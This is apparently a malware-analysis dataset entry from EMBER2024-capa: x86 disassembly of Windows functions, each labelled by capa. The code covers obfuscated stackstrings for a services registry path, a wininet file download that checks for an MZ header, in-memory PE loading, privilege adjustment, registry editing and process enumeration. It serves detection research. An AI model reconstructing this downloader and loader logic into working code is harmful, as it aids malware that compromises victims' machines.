joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406280
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x428
push ebp
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
mov esi, dword [esp + 0x444]
rep stosd dword es:[edi], eax
mov ebp, dword [esp + 0x440]
mov ecx, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, ecx
xor eax, eax
mov edi, ebp
mov byte [esp + 0xd], 0x59
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov dl, 0x53
and ecx, 3
mov byte [esp + 0xc], dl
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x34]
mov byte [esp + 0xe], dl
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x17], al
mov byte [esp + 0x22], al
mov byte [esp + 0x26], al
mov byte [esp + 0x2b], al
mov al, 0x73
mov byte [esp + 0x15], cl
mov byte [esp + 0x2c], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x438]
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x27], cl
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x38]
push ecx
push edx
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], 0x4d
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x43
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x25], 0x74
mov byte [esp + 0x26], 0x43
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x6e
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x34], 0x76
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x63
mov byte [esp + 0x39], 0x5c
mov byte [esp + 0x3a], 0x25
mov byte [esp + 0x3c], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esp + 0x448]
push 0
push esi
push 0
push ebp
push 1
push eax
lea ecx, [esp + 0x58]
push ecx
push connect
call fcn.00408440
add esp, 0x2c
pop edi
pop esi
pop ebp
add esp, 0x428
ret

Function at 0x4064a0
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
lea eax, [esp]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x4064fa
mov eax, dword [esp]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x4064c7
mov eax, str.MODEM_l
pop ecx
ret
mov edx, eax
and edx, 2
cmp dl, 2
jne 0x4064d8
mov eax, str.LAN_l
pop ecx
ret
mov ecx, eax
and ecx, 4
cmp cl, 4
jne 0x4064e9
mov eax, str.PROXY_l
pop ecx
ret
and eax, 8
cmp al, 8
mov eax, str.BUSY_l
je 0x4064fa
mov eax, str.OTHER_l
pop ecx
ret
Function at 0x406580
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x30c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov esi, str.CTXOPConntion_Class
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
lea edi, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x20]
mov byte [esp + 0x214], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x215]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x406700
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0xc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40661d
test cl, cl
je 0x406619
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40661d
add eax, 2
add esi, 2
test cl, cl
jne 0x4065f9
xor eax, eax
jmp 0x406622
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4066dc
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0xb]
dec ecx
cmp al, 0x5f
jne 0x406649
lea edi, [esp + ecx + 0xd]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x214]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x214]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x110]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x414b08
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
mov ebp, eax
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebp, ebp
jne 0x4065f0
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x110]
push ecx
call fcn.00406500
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
pop esi
cmp ecx, 4
pop ebp
lea eax, [esp + 0x104]
ja 0x40673c
mov eax, str.NULL
add esp, 0x30c
ret
Function at 0x406c20
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x406c38
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x406c51
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x406c88
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x406c88
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.00406d70
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x406d11
push eax
push ebx
call fcn.00406f00
add esp, 8
push ebx
call fcn.00406f80
add esp, 4
test eax, eax
je 0x406d41
push ebx
call fcn.00406e40
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x406d59
add eax, ebp
test eax, eax
je 0x406d41
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x406d52
push ebx
call fcn.00407160
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x406d70
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x406e31
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x406ddb
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x406e0f
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x406e0f
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x406d9e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x406e40
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x406ef4
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x406e97
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x406eda
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x4159c0]
je 0x406eae
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x406ec7
test al, 0x40
je 0x406ebe
mov ecx, dword [ebx + 0x20]
jmp 0x406ec5
test al, 0x80
je 0x406eda
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x406eda
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x406e64
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x407da0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 0x20]
push ecx
push 0x407d20
push edx
push eax
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov ecx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x407e10
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x407e30
mov dl, byte [ecx + eax]
sub dl, 0x31
xor dl, 0xfc
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x407e1f
pop esi
ret

Function at 0x407e40
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x407eaf
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x407e8d
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x407eaf
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x407e85
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x407e98
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x407ec0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f508
push 0x4089c4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x2c], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x30], ebx
push str.GetCurrentThreadId
push ebx
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x34]
push eax
push 0x100
lea ecx, [ebp - 0x13c]
push ecx
push 2
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x20]
test eax, eax
jne 0x407f79
mov dword [ebp - 0x28], eax
jmp 0x407f90
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x140]
test eax, eax
jne 0x407f8c
mov dword [ebp - 0x28], eax
jmp 0x407f90
push esi
call dword [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call fcn.00407fb6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4080e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebx, 1
push str.wininet.dll
mov dword [esp + 0x18], edi
mov dword [esp + 0x24], edi
mov byte [esp + 0x17], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call ebp
push edi
push edi
push edi
push edi
push str.MSIE_6.0
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x24], edi
je 0x408153
push str.InternetOpenUrlA
push esi
call ebp
mov ecx, dword [esp + 0x42c]
push 0
push connect
push 0
push 0
push ecx
push edi
call eax
test eax, eax
mov dword [esp + 0x18], eax
jne 0x40816b
test esi, esi
je 0x40815e
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x408204
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x28]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push esi
call ebp
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x1c]
push 0x400
push edx
push ecx
call eax
test ebx, ebx
je 0x4081c9
cmp word [esp + 0x28], 0x5a4d
jne 0x4081f0
mov eax, dword [esp + 0x14]
xor ebx, ebx
lea edx, [esp + 0x20]
push ebx
push edx
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x4081f5
jmp 0x408191
mov byte [esp + 0x13], 0
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x24]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call ebp
mov ecx, dword [esp + 0x18]
mov ebx, eax
push ecx
call ebx
push edi
call ebx
test esi, esi
je 0x40822b
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x418
ret
Function at 0x408240
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x4082ae
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x408305
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x40831d
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x408328
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret
Function at 0x4086e0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f538
push 0x4089c4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x20], 0
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x38], edi
push str.RegCreateKeyExA
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x2c], eax
push str.RegSetValueExA
push edi
call esi
mov dword [ebp - 0x34], eax
push str.RegDeleteKeyA
push edi
call esi
mov dword [ebp - 0x1c], eax
push str.RegDeleteValueA
push edi
call esi
mov dword [ebp - 0x40], eax
push str.RegOpenKeyExA
push edi
call esi
mov ebx, eax
push str.RegCloseKey
push edi
call esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.0x4087cf.3
jmp dword [eax*4 + 0x408898]
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x3c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x2c]
test eax, eax
jne case.0x4087cf.3
lea ecx, [ebp - 0x3c]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call ebx
test eax, eax
jne case.0x4087cf.3
mov ebx, dword [ebp + 0x14]
lea eax, [ebx - 1]
cmp eax, 6
ja case.0x4087cf.3
jmp dword [eax*4 + 0x4088a8]
mov esi, dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push esi
jmp 0x4087eb
push 4
lea eax, [ebp + 0x1c]
push eax
push ebx
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
call dword [ebp - 0x34]
test eax, eax
jne case.0x4087cf.3
jmp 0x408851
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call ebx
test eax, eax
jne case.0x4087cf.3
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [ebp - 0x1c]
test eax, eax
jne case.0x4087cf.3
jmp 0x408851
lea edx, [ebp - 0x3c]
push edx
push 0x2001f
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call ebx
test eax, eax
jne case.0x4087cf.3
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [ebp - 0x40]
test eax, eax
jne case.0x4087cf.3
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00408886
test edi, edi
je 0x40886f
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4088d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4088ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4088ee
xor eax, eax
ret
mov eax, 1
ret
Function at 0x4061a4
Capabilities:
Create process on windows

Disassembly:
push 0x70
mov eax, 0x465036
call fcn.00450d5a
mov edi, dword [ebp + 0x1c]
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
push 0x44
pop esi
push esi
push ebx
lea eax, [ebp - 0x7c]
push eax
call fcn.0044c8f0
mov dword [ebp - 0x7c], esi
push 0x10
push ebx
lea eax, [ebp - 0x38]
push eax
call fcn.0044c8f0
add esp, 0x18
cmp edi, ebx
jne 0x4061e6
or dword [ebp + 0x18], 0xffffffff
lea edi, [ebp - 0x38]
cmp byte [ebp + 0xc], bl
je 0x40627e
lea esi, [ebp - 0x1c]
call fcn.00408874
mov byte [ebp - 4], 1
push ebx
cmp dword [ebp - 0x1c], ebx
jne 0x406211
call fcn.0040870b
pop ecx
mov eax, 0x80100026
jmp fcn.0040426a
mov dword [ebp - 0x74], str.winsta0default
mov dword [ebp - 0x14], ebx
push dword [ebp - 0x1c]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
jne 0x40622f
mov dword [ebp - 0x14], ebx
push edi
lea eax, [ebp - 0x7c]
push eax
push ebx
push dword [ebp - 0x14]
push 0x490
push ebx
push ebx
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x406263
cmp dword [ebp - 0x14], ebx
je 0x406207
push dword [ebp - 0x14]
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
jmp 0x406207
cmp dword [ebp - 0x14], ebx
je 0x406271
push dword [ebp - 0x14]
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov byte [ebp - 4], bl
lea esi, [ebp - 0x1c]
call fcn.00408884
jmp 0x4062a1
push edi
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
push 0x490
push ebx
push ebx
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x406207
cmp dword [edi], ebx
je 0x406207
cmp dword [edi + 4], ebx
je 0x406207
cmp dword [ebp + 0x18], ebx
je 0x406358
mov dword [ebp - 0x1c], 0x103
mov eax, dword [ebp + 8]
cmp eax, ebx
je 0x4062e4
mov dword [ebp - 0x28], eax
mov eax, dword [edi + 4]
mov dword [ebp - 0x24], eax
push dword [ebp + 0x18]
push ebx
lea eax, [ebp - 0x28]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
jmp 0x4062f0
push dword [ebp + 0x18]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, eax
cmp esi, ebx
jne 0x4062ff
mov dword [ebp - 0x18], 0x80100020
jmp 0x406307
cmp esi, 1
jne 0x406307
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x1c]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
jne 0x40631a
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0x103
je 0x40632b
cmp esi, 0x102
jne 0x406332
mov dword [ebp - 0x18], 0x80100022
cmp dword [edi], ebx
je 0x40633e
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [edi + 4], ebx
je 0x40634c
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10
push ebx
push edi
call fcn.0044c8f0
add esp, 0xc
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.00450dff
ret